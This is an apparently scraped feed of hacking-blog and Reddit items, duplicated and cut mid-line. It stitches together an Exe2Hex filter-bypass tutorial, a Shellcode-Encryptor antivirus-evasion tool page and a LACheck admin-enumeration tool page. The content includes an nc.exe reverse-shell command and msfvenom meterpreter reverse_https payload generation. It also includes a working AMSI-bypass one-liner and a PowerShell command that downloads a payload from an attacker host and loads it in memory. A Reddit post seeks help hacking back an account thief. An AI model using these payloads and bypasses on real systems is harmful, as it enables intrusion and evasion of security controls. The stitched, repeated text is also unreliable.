Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles File Transfer Filter Bypass: Exe2Hex IntroductionExe2hex is a tool developed by g0tmilk which can be found here. The tool transcribes EXE into a series of hexadecimal strings which can be restored into the original EXE file by using DEBUG.exe…
tion has finished, a nc.exe file is generated at the compressed size.
@echo off
nc.cmd
nc.exe 192.168.78.142 4444 –e cmd
https://blogger.googleusercontent.com/img/a/AVvXsEgz6u_Kzt8wfYCJx4M4e-qYC9m7EpQE6-vCeV1gv2UiHW47svkDe-B17V6xfSHF5ZQblVUFRZoj8-HbExqI9BMu5PVWvttd2qrxrfh0YdgUCxMZMBy0-NALgCg-epERi3xs10oM9dvA_v6PVOCFMZ0ack8WrpRgXIE_sdUKOG_7Fx_sdbi-T6q45YQXVw=s16000 Exe2hex BAT script (DEBUG.exe method)So far we have seen how powershell can be used to restore hex into exe file. In the same way, DEBUG.exe file can be used. Exe2hex can generate a bat file like so:
exe2hex -x nc.exe -b nc.bat
head -n 5 nc.bat
tail -n 7 nc.bat
https://blogger.googleusercontent.com/img/a/AVvXsEhGjQjuRL9f-Rs5v4G4jIuAVVZt7w8B11CWNmB7ZU9LVjStGaLlCILtTjM8UqrGAd1K2gMKtYpuPV5Ck19bH7F1LgCEfioib9yURj3q6fFLittSaIOlszr04o4EmMNM29Wbz3Uzu8s5iQU8t8f_3Svr7yqVvrs_CkdXi8DwjLjt-ASp1T4GzZLWhv2xsw=s16000
After that, you can run the bat script on windows and it will create an exe file. If it throws you an error, you need to add DEBUG.exe’s path in environment variables. As you can see, nc.exe has become an executable now.
https://blogger.googleusercontent.com/img/a/AVvXsEg3jEpnbR8iQMqvTHP2YvcNIKLTLKzfyux-MXC-nyUn9NKLKfRlU11xvpA6-UIpjLiaPcPYe7N_RjANxeqIAn008rgWkGU-bDl6K9iLJuTbhQDs_07HLQZmHp5o4y0IDFkPrQI3vW3zPKuf81k8fPopxZ7eS7pq-Ez2nZd8gdUxwsQbJ2MNaBuXHrEa4g=s16000 Exe2hex STDIN to CMD Script (PoSH method)The tool can also take input from STDIN. This could be useful in scenarios where an executable is available on the internet and it needs to be downloaded using tools such as curl/wget and filters are in place to block that.
cat nc.exe | exe2hex -s -b nc.bat -p nc.cmd
https://blogger.googleusercontent.com/img/a/AVvXsEiGsmb3n3Sy0HqS45wl9NNiw-009VA3w4j1heDH4voVX7XScfdp0paOpRDx4jScmaL3g-u_4W5coNqxE9oNloqC6THaxUdETRNaH3DXNiLcukL57qpLX4rzv_As_pFtDTdLQkyXoeKdEyRkhILQ-GaPHWKuBuyebybjOHbJpRy6XNooH_uNyzK__siQWA=s16000
The -s filter is responsible for reading from STDIN. The cmd file generated with this option looks a bit different as the file generated has the name “binary.hex” and the final exe file as “binary.exe”
https://blogger.googleusercontent.com/img/a/AVvXsEiltN0EU2kj3y4WJ8GApg7jJgvXgTJM9RJNw6OYRNvaOAx1J0y-v6QzsepGipaFxdY_lrz6XgJdOZyUNhBZGpU6Qw6H0SNiVLSl-O3DBieGAKflmo1VmkX-xNqCmT4TuKxSJK6lir4w2Km_dbWK1vscNldVxNMfVUwoT82diSxuCX6mYlmxopnopVMoXw=s16000
It can be run now!
https://blogger.googleusercontent.com/img/a/AVvXsEiY6NFaIZBlAqu09EnH55omoNuMQ62nY0Ga4AP94MMdLoYN2yU3Jvr3scJXKocQJrf5bgX46XVymEP-mQab3_vXGvICMo-6OArva48mZ27e4wcbHAkz1mu9C5o03IQ-KnH55_yCldjEXfXDimMxYXfC1rtpVTdJK7KRRcvDmKVwGFG3zY6U85M2wutywA=s16000 Exe2hex TXT file (DEBUG and PoSH method)We saved the best for last. The tool can also convert EXE files in hexadecimal strings txt files. This is highly useful for situations where advanced filters are in place.
exe2hex -x nc.exe -b nc.txt
head -n 5 nc.txt
exe2hex -x nc.exe -p nc.txt
head -n 5 nc.txt
https://blogger.googleusercontent.com/img/a/AVvXsEgesKIBgliot6TTl5-t5_Vla-ElY9uuxMyxmjm8Xk1EC2rLQkkZFddzzJUo2R0ef6I2NtP31jUixo3BZSj3IpiPGtXKdd6OxpOYuoBisRYcgFAHvOABp7o8Xx31iAmuxn_eEvRSKwi7LMbSjorKFXpcpjUiIO6jmaYvO_LPhT-jc6oZ0ql69EtY6a8JRQ=s16000
One other filter is the -l filter that specifies the number of bytes in each line.
exe2hex -x nc.exe -l 10 -p nc.txt
head -n 5 nc.txt
https://blogger.googleusercontent.com/img/a/AVvXsEiQy8UGd974YgebtPCN7_gdfftDvj_18y99ntvDGh4aXTb3JRwLCifoa773h3GLutk7kxxh3xJuDrvN-ibtyy-qqd3wkIpE-f_AAM1m4EgVl7yrJZ7tHyVIoRCvSukFxLTatfytZnRDDgzYtNPLOR7qCWu3S_ETW3l-GlRLB5gmSYcDn5rprgHC33VH-Q=s16000
Now, one can rename the file easily in the victim machine using a command prompt or copy it as a different extension (runnable script) and then run like following:
copy nc.txt nc.cmd
@echo off
nc.cmd
nc.exe 192.168.78.142 4444 -e cmd
https://blogger.googleusercontent.com/img/a/AVvXsEiIRw0SVn__nxISghOD9VPP1A06sCetGdiEolFsmwJsdP6JkQLR_73pQ2n-YRKAYRw4NOiSOkRxbIplNYm-UIRG0kT[...]
@echo off
nc.cmd
nc.exe 192.168.78.142 4444 –e cmd
https://blogger.googleusercontent.com/img/a/AVvXsEgz6u_Kzt8wfYCJx4M4e-qYC9m7EpQE6-vCeV1gv2UiHW47svkDe-B17V6xfSHF5ZQblVUFRZoj8-HbExqI9BMu5PVWvttd2qrxrfh0YdgUCxMZMBy0-NALgCg-epERi3xs10oM9dvA_v6PVOCFMZ0ack8WrpRgXIE_sdUKOG_7Fx_sdbi-T6q45YQXVw=s16000 Exe2hex BAT script (DEBUG.exe method)So far we have seen how powershell can be used to restore hex into exe file. In the same way, DEBUG.exe file can be used. Exe2hex can generate a bat file like so:
exe2hex -x nc.exe -b nc.bat
head -n 5 nc.bat
tail -n 7 nc.bat
https://blogger.googleusercontent.com/img/a/AVvXsEhGjQjuRL9f-Rs5v4G4jIuAVVZt7w8B11CWNmB7ZU9LVjStGaLlCILtTjM8UqrGAd1K2gMKtYpuPV5Ck19bH7F1LgCEfioib9yURj3q6fFLittSaIOlszr04o4EmMNM29Wbz3Uzu8s5iQU8t8f_3Svr7yqVvrs_CkdXi8DwjLjt-ASp1T4GzZLWhv2xsw=s16000
After that, you can run the bat script on windows and it will create an exe file. If it throws you an error, you need to add DEBUG.exe’s path in environment variables. As you can see, nc.exe has become an executable now.
https://blogger.googleusercontent.com/img/a/AVvXsEg3jEpnbR8iQMqvTHP2YvcNIKLTLKzfyux-MXC-nyUn9NKLKfRlU11xvpA6-UIpjLiaPcPYe7N_RjANxeqIAn008rgWkGU-bDl6K9iLJuTbhQDs_07HLQZmHp5o4y0IDFkPrQI3vW3zPKuf81k8fPopxZ7eS7pq-Ez2nZd8gdUxwsQbJ2MNaBuXHrEa4g=s16000 Exe2hex STDIN to CMD Script (PoSH method)The tool can also take input from STDIN. This could be useful in scenarios where an executable is available on the internet and it needs to be downloaded using tools such as curl/wget and filters are in place to block that.
cat nc.exe | exe2hex -s -b nc.bat -p nc.cmd
https://blogger.googleusercontent.com/img/a/AVvXsEiGsmb3n3Sy0HqS45wl9NNiw-009VA3w4j1heDH4voVX7XScfdp0paOpRDx4jScmaL3g-u_4W5coNqxE9oNloqC6THaxUdETRNaH3DXNiLcukL57qpLX4rzv_As_pFtDTdLQkyXoeKdEyRkhILQ-GaPHWKuBuyebybjOHbJpRy6XNooH_uNyzK__siQWA=s16000
The -s filter is responsible for reading from STDIN. The cmd file generated with this option looks a bit different as the file generated has the name “binary.hex” and the final exe file as “binary.exe”
https://blogger.googleusercontent.com/img/a/AVvXsEiltN0EU2kj3y4WJ8GApg7jJgvXgTJM9RJNw6OYRNvaOAx1J0y-v6QzsepGipaFxdY_lrz6XgJdOZyUNhBZGpU6Qw6H0SNiVLSl-O3DBieGAKflmo1VmkX-xNqCmT4TuKxSJK6lir4w2Km_dbWK1vscNldVxNMfVUwoT82diSxuCX6mYlmxopnopVMoXw=s16000
It can be run now!
https://blogger.googleusercontent.com/img/a/AVvXsEiY6NFaIZBlAqu09EnH55omoNuMQ62nY0Ga4AP94MMdLoYN2yU3Jvr3scJXKocQJrf5bgX46XVymEP-mQab3_vXGvICMo-6OArva48mZ27e4wcbHAkz1mu9C5o03IQ-KnH55_yCldjEXfXDimMxYXfC1rtpVTdJK7KRRcvDmKVwGFG3zY6U85M2wutywA=s16000 Exe2hex TXT file (DEBUG and PoSH method)We saved the best for last. The tool can also convert EXE files in hexadecimal strings txt files. This is highly useful for situations where advanced filters are in place.
exe2hex -x nc.exe -b nc.txt
head -n 5 nc.txt
exe2hex -x nc.exe -p nc.txt
head -n 5 nc.txt
https://blogger.googleusercontent.com/img/a/AVvXsEgesKIBgliot6TTl5-t5_Vla-ElY9uuxMyxmjm8Xk1EC2rLQkkZFddzzJUo2R0ef6I2NtP31jUixo3BZSj3IpiPGtXKdd6OxpOYuoBisRYcgFAHvOABp7o8Xx31iAmuxn_eEvRSKwi7LMbSjorKFXpcpjUiIO6jmaYvO_LPhT-jc6oZ0ql69EtY6a8JRQ=s16000
One other filter is the -l filter that specifies the number of bytes in each line.
exe2hex -x nc.exe -l 10 -p nc.txt
head -n 5 nc.txt
https://blogger.googleusercontent.com/img/a/AVvXsEiQy8UGd974YgebtPCN7_gdfftDvj_18y99ntvDGh4aXTb3JRwLCifoa773h3GLutk7kxxh3xJuDrvN-ibtyy-qqd3wkIpE-f_AAM1m4EgVl7yrJZ7tHyVIoRCvSukFxLTatfytZnRDDgzYtNPLOR7qCWu3S_ETW3l-GlRLB5gmSYcDn5rprgHC33VH-Q=s16000
Now, one can rename the file easily in the victim machine using a command prompt or copy it as a different extension (runnable script) and then run like following:
copy nc.txt nc.cmd
@echo off
nc.cmd
nc.exe 192.168.78.142 4444 -e cmd
https://blogger.googleusercontent.com/img/a/AVvXsEiIRw0SVn__nxISghOD9VPP1A06sCetGdiEolFsmwJsdP6JkQLR_73pQ2n-YRKAYRw4NOiSOkRxbIplNYm-UIRG0kT[...]
Hacking Articles Tips Tricks Videos Tutorials
tion has finished, a nc.exe file is generated at the compressed size. @echo off nc.cmd nc.exe 192.168.78.142 4444 –e cmd https://blogger.googleusercontent.com/img/a/AVvXsEgz6u_Kzt8wfYCJx4M4e-qYC9m7EpQE6-vCeV1gv2UiHW47svkDe-B17V6xfSHF5ZQblVUFRZoj8-HbExqI9…
kYNFqnHc-nLTDPQbHsq8t_w5ysOwRb4RIsrzkBgK-CjUm-zZybWfIVcuZ4tmc5EUHWlIA5nx6ziwW9chRJljxIPm4mZmPG6VV1g=s16000
If you tried the above-mentioned methods, you must set up a listener on your kali machine and try to run this executable. As you could see, the EXE file is working properly!
https://blogger.googleusercontent.com/img/a/AVvXsEgLDH8GYZgvgPonaWCnoHdDAz8oiU5fAJR30BPQv8C05vfnQqty_V1WsxW4ft9st9yBOWigCnqArEQK5Q058AcxxaNqJbKPUBMhdmiXphsJkP3NSXpP43pkqiSiYgGgIYAaAWhEoqgrKcbA44cVsFzvHJAheLFmG_XotMWZikGVStQE3JA5xUgxoJaoTA=s16000 ConclusionOne sees many scenarios while pentesting where there are certain file upload/download filters either by proxy or WAF. We just presented a way to bypass those defense mechanisms using exe2hex. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post File Transfer Filter Bypass: Exe2Hex appeared first on Hacking Articles.
If you tried the above-mentioned methods, you must set up a listener on your kali machine and try to run this executable. As you could see, the EXE file is working properly!
https://blogger.googleusercontent.com/img/a/AVvXsEgLDH8GYZgvgPonaWCnoHdDAz8oiU5fAJR30BPQv8C05vfnQqty_V1WsxW4ft9st9yBOWigCnqArEQK5Q058AcxxaNqJbKPUBMhdmiXphsJkP3NSXpP43pkqiSiYgGgIYAaAWhEoqgrKcbA44cVsFzvHJAheLFmG_XotMWZikGVStQE3JA5xUgxoJaoTA=s16000 ConclusionOne sees many scenarios while pentesting where there are certain file upload/download filters either by proxy or WAF. We just presented a way to bypass those defense mechanisms using exe2hex. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post File Transfer Filter Bypass: Exe2Hex appeared first on Hacking Articles.
hacking: security in practice
First steps to hacking?
So for educational purposes, what are some tips for hacking for beginners? What would you recommend to learn first. Obviously people say get Comptia A+ certified first or even the CEH (which btw is expensive as $h1T!) but i’m curious to know what steps YOU took in order to understand hacking. What was the path you took that made it easy to understand to apply it? If there are any good courses list them down below as well. Thank you!
submitted by /u/mgmako
[link] [comments]
First steps to hacking?
So for educational purposes, what are some tips for hacking for beginners? What would you recommend to learn first. Obviously people say get Comptia A+ certified first or even the CEH (which btw is expensive as $h1T!) but i’m curious to know what steps YOU took in order to understand hacking. What was the path you took that made it easy to understand to apply it? If there are any good courses list them down below as well. Thank you!
submitted by /u/mgmako
[link] [comments]
reddit
First steps to hacking?
So for educational purposes, what are some tips for hacking for beginners? What would you recommend to learn first. Obviously people say get...
hacking: security in practice
How do I hacked the mf that hacked ME
Instagram account got hacked, he wants 2k for it back. Would love to just send him back a picture of his IP address and some details about where he lives. Any advice?
submitted by /u/Firm_Hour_5702
[link] [comments]
How do I hacked the mf that hacked ME
Instagram account got hacked, he wants 2k for it back. Would love to just send him back a picture of his IP address and some details about where he lives. Any advice?
submitted by /u/Firm_Hour_5702
[link] [comments]
reddit
How do I hacked the mf that hacked ME
Instagram account got hacked, he wants 2k for it back. Would love to just send him back a picture of his IP address and some details about where...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Shellcode-Encryptor : A Simple Shell Code Encryptor/Decryptor/Executor To Bypass Anti Virus
Shellcode-Encryptor is a simple shell code encryptor/decryptor/executor to bypass anti virus.
Note: I have completely redone the work flow for creating the bypass, I have found injecting the binary into memory using PowerShell as the most effective method.
Purpose
To generate a .Net binary containing base64 encoded, AES encrypted shellcode that will execute on a Windows target, bypassing anti-virus. Instructions
Use the
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64
[+] Generating MSFVENOM payload…
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 667 (iteration=0)
x64/xor_dynamic chosen with final size 667
Payload size: 667 bytes
Saved as: ./msf.bin
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec…
[+] Base64 output:
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg
Take the key and shellcode and insert it into ProcessInjector.cs
// decrypt the base64 payload
string payload = “sZkMii [etc…]”;
string key = “fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec”;
Compile the C# code into an executable (e.g.,
Inject the executable into a remote PowerShell process:
AMSI bypass
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like “iutils”) {$c = $b}};$d = $c.GetFields(‘NonPublic,Static’);ForEach($e in $d) {if ($e.Name -like “itFailed”) {$f = $e}};$f.SetValue($null,$true)
$bytes = (Invoke-WebRequest “http://192.168.1.228/metInject.exe”).Content;
$assembly = [System.Reflection.Assembly]::Load($bytes);
$entryPointMethod = $assembly.GetType(‘ProcessInjection.Program’, [Reflection.BindingFlags] ‘Public, NonPublic’).GetMethod(‘Main’, [Reflection.BindingFlags] ‘Static, Public, NonPublic’);
$entryPointMethod.Invoke($null, (, string[]));
Hopefully you will have a nice meterpreter shell. Help
./meterpreter_encryptor.py -h
usage: meterpreter_encryptor.py [-h] [-l LPORT] [-i LHOST] [-p PAYLOAD] [-m METHOD] [-k KEY] [-e ENCODER] [-f FORMAT]
optional arguments:
-h, –help show this help message and exit
-l LPORT, –lport LPORT
The local port that msfconsole is listening on.
-i LHOST, –lhost LHOST
The local host that msfconsole is listening on.
-p PAYLOAD, –payload PAYLOAD
The payload to generate in msfvenom.
-m METHOD, –method METHOD
The method to use: thread/delegate.
-k KEY, –key KEY The encryption key (32 chars).
-e ENCODER, –encoder ENCODER
The meterpreter encoder.
-f FORMAT, –format FORMAT
The format to output.
AV Scan Results
The binary was scanned using antiscan.me on 03/10/2021.
https://blogger.googleus[...]
Shellcode-Encryptor : A Simple Shell Code Encryptor/Decryptor/Executor To Bypass Anti Virus
Shellcode-Encryptor is a simple shell code encryptor/decryptor/executor to bypass anti virus.
Note: I have completely redone the work flow for creating the bypass, I have found injecting the binary into memory using PowerShell as the most effective method.
Purpose
To generate a .Net binary containing base64 encoded, AES encrypted shellcode that will execute on a Windows target, bypassing anti-virus. Instructions
Use the
meterpreter_encryptor.pyto create the encrypted base64 shellcode:root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64
[+] Generating MSFVENOM payload…
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 667 (iteration=0)
x64/xor_dynamic chosen with final size 667
Payload size: 667 bytes
Saved as: ./msf.bin
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec…
[+] Base64 output:
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg
Take the key and shellcode and insert it into ProcessInjector.cs
// decrypt the base64 payload
string payload = “sZkMii [etc…]”;
string key = “fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec”;
Compile the C# code into an executable (e.g.,
metInject.exe) and serve it via a web server.Inject the executable into a remote PowerShell process:
AMSI bypass
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like “iutils”) {$c = $b}};$d = $c.GetFields(‘NonPublic,Static’);ForEach($e in $d) {if ($e.Name -like “itFailed”) {$f = $e}};$f.SetValue($null,$true)
$bytes = (Invoke-WebRequest “http://192.168.1.228/metInject.exe”).Content;
$assembly = [System.Reflection.Assembly]::Load($bytes);
$entryPointMethod = $assembly.GetType(‘ProcessInjection.Program’, [Reflection.BindingFlags] ‘Public, NonPublic’).GetMethod(‘Main’, [Reflection.BindingFlags] ‘Static, Public, NonPublic’);
$entryPointMethod.Invoke($null, (, string[]));
Hopefully you will have a nice meterpreter shell. Help
./meterpreter_encryptor.py -h
usage: meterpreter_encryptor.py [-h] [-l LPORT] [-i LHOST] [-p PAYLOAD] [-m METHOD] [-k KEY] [-e ENCODER] [-f FORMAT]
optional arguments:
-h, –help show this help message and exit
-l LPORT, –lport LPORT
The local port that msfconsole is listening on.
-i LHOST, –lhost LHOST
The local host that msfconsole is listening on.
-p PAYLOAD, –payload PAYLOAD
The payload to generate in msfvenom.
-m METHOD, –method METHOD
The method to use: thread/delegate.
-k KEY, –key KEY The encryption key (32 chars).
-e ENCODER, –encoder ENCODER
The meterpreter encoder.
-f FORMAT, –format FORMAT
The format to output.
AV Scan Results
The binary was scanned using antiscan.me on 03/10/2021.
https://blogger.googleus[...]
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
LACheck : Multithreaded C# .NET Assembly Local Administrative Privilege Enumeration
LACheck is a Multithreaded C# .NET Assembly Local Administrative Privilege Enumeration.
Arguments
./LACheck.exe help _ _ _ | | /\ / | | | |
| | / \ | | | |_ _ | |
| | / /\ \ | | | ‘_ \ / _ \/ | |/ / | | / \ | || | | | / (| < |// _\ _|| ||___|___|_|_\
Usage:
LACheck.exe smb rpc /targets:hostname,fqdn.domain.tld,10.10.10.10 /ldap:all /ou:”OU=Special Servers,DC=example,DC=local” /verbose /bloodhound /user:bob@contoso.lab
Local Admin Checks:
smb – Attempts to access C$ share
rpc – Attempts WMI query of Win32_ComputerSystem Class provider over RPC
winrm – Attempts WMI query of Win32_ComputerSystem Class Provider over WinRM Session
Arguments:
/bloodhound – generate bloodhound-digestible AdminTo and Session collection file
output file is zipped and enypted with randomized name and password
/dc – specify domain controller to query (if not ran on a domain-joined host)
/domain – specify domain name (if not ran on a domain-joined host)
/edr – check host for EDR (requires smb, rpc, or winrm)
/logons – return logged on users on a host (requires smb, rpc, or winrm)
/registry – enumerate sessions from registry hive (requires smb)
/services – return services running as users (requires smb, rpc, or winrm)
/socket – send bloodhound output to TCP socket instead of writing to disk
ex: “”127.0.0.1:8080″”
/targets – comma-separated list of hostnames to check
/threads – specify maximum number of parallel threads (default=25)
/user – specify username that collection was run under (useful during token manipulation)
/validate – check credentials against Domain prior to scanning targets (useful during token manipulation)
/verbose – print additional logging information
/ou – specify LDAP OU to query enabled computer objects from
ex: “OU=Special Servers,DC=example,DC=local”
/ldap – query hosts from the following LDAP filters:
:all – All enabled computers with ‘primary’ group ‘Domain Computers’
:dc – All enabled Domain Controllers (not read-only DCs)
:exclude-dc – All enabled computers that are not Domain Controllers or read-only DCs
:servers – All enabled servers
:servers-exclude-dc – All enabled servers excluding Domain Controllers or read-only DCs
Execute Assembly
execute-assembly /opt/SharpTools/LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
Output
[*] Tasked beacon to run .NET program: LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[+] host called home, sent: 111705 bytes
[+] received Output
[+] Parsed Aguments:
rpc: True
smb: True
winrm: True
/bloodhound: False
/edr: False
/logons: True
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/targets:
/threads: 10
/user: svcadmin
/validate: False
/verbose: False
[+] Performing LDAP query for all enabled computers that are not Domain Controllers or read-only DCs…
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 2
[SMB] Admin Success: WEB01 as svcadmin
[session] WEB01 – contoso\devadmin (svcadmin)
[session] WEB01 – contoso\devuser (svcadmin)
[session] WEB01 – contoso\WEB01$ (svcadmin)
[session] WEB01 – contoso\devadmin (svcadmin)
[session] WEB01 – contoso\devuser (svcadmin)
[rdp] WEB01 – contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
[session] WEB01 – contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 – contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 – contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 – contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 – contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
[WinRM] Admin Success: DESKTOP[...]
LACheck : Multithreaded C# .NET Assembly Local Administrative Privilege Enumeration
LACheck is a Multithreaded C# .NET Assembly Local Administrative Privilege Enumeration.
Arguments
./LACheck.exe help _ _ _ | | /\ / | | | |
| | / \ | | | |_ _ | |
| | / /\ \ | | | ‘_ \ / _ \/ | |/ / | | / \ | || | | | / (| < |// _\ _|| ||___|___|_|_\
Usage:
LACheck.exe smb rpc /targets:hostname,fqdn.domain.tld,10.10.10.10 /ldap:all /ou:”OU=Special Servers,DC=example,DC=local” /verbose /bloodhound /user:bob@contoso.lab
Local Admin Checks:
smb – Attempts to access C$ share
rpc – Attempts WMI query of Win32_ComputerSystem Class provider over RPC
winrm – Attempts WMI query of Win32_ComputerSystem Class Provider over WinRM Session
Arguments:
/bloodhound – generate bloodhound-digestible AdminTo and Session collection file
output file is zipped and enypted with randomized name and password
/dc – specify domain controller to query (if not ran on a domain-joined host)
/domain – specify domain name (if not ran on a domain-joined host)
/edr – check host for EDR (requires smb, rpc, or winrm)
/logons – return logged on users on a host (requires smb, rpc, or winrm)
/registry – enumerate sessions from registry hive (requires smb)
/services – return services running as users (requires smb, rpc, or winrm)
/socket – send bloodhound output to TCP socket instead of writing to disk
ex: “”127.0.0.1:8080″”
/targets – comma-separated list of hostnames to check
/threads – specify maximum number of parallel threads (default=25)
/user – specify username that collection was run under (useful during token manipulation)
/validate – check credentials against Domain prior to scanning targets (useful during token manipulation)
/verbose – print additional logging information
/ou – specify LDAP OU to query enabled computer objects from
ex: “OU=Special Servers,DC=example,DC=local”
/ldap – query hosts from the following LDAP filters:
:all – All enabled computers with ‘primary’ group ‘Domain Computers’
:dc – All enabled Domain Controllers (not read-only DCs)
:exclude-dc – All enabled computers that are not Domain Controllers or read-only DCs
:servers – All enabled servers
:servers-exclude-dc – All enabled servers excluding Domain Controllers or read-only DCs
Execute Assembly
execute-assembly /opt/SharpTools/LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
Output
[*] Tasked beacon to run .NET program: LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[+] host called home, sent: 111705 bytes
[+] received Output
[+] Parsed Aguments:
rpc: True
smb: True
winrm: True
/bloodhound: False
/edr: False
/logons: True
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/targets:
/threads: 10
/user: svcadmin
/validate: False
/verbose: False
[+] Performing LDAP query for all enabled computers that are not Domain Controllers or read-only DCs…
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 2
[SMB] Admin Success: WEB01 as svcadmin
[session] WEB01 – contoso\devadmin (svcadmin)
[session] WEB01 – contoso\devuser (svcadmin)
[session] WEB01 – contoso\WEB01$ (svcadmin)
[session] WEB01 – contoso\devadmin (svcadmin)
[session] WEB01 – contoso\devuser (svcadmin)
[rdp] WEB01 – contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
[session] WEB01 – contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 – contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 – contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 – contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 – contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
[WinRM] Admin Success: DESKTOP[...]
Hacking Articles Tips Tricks Videos Tutorials
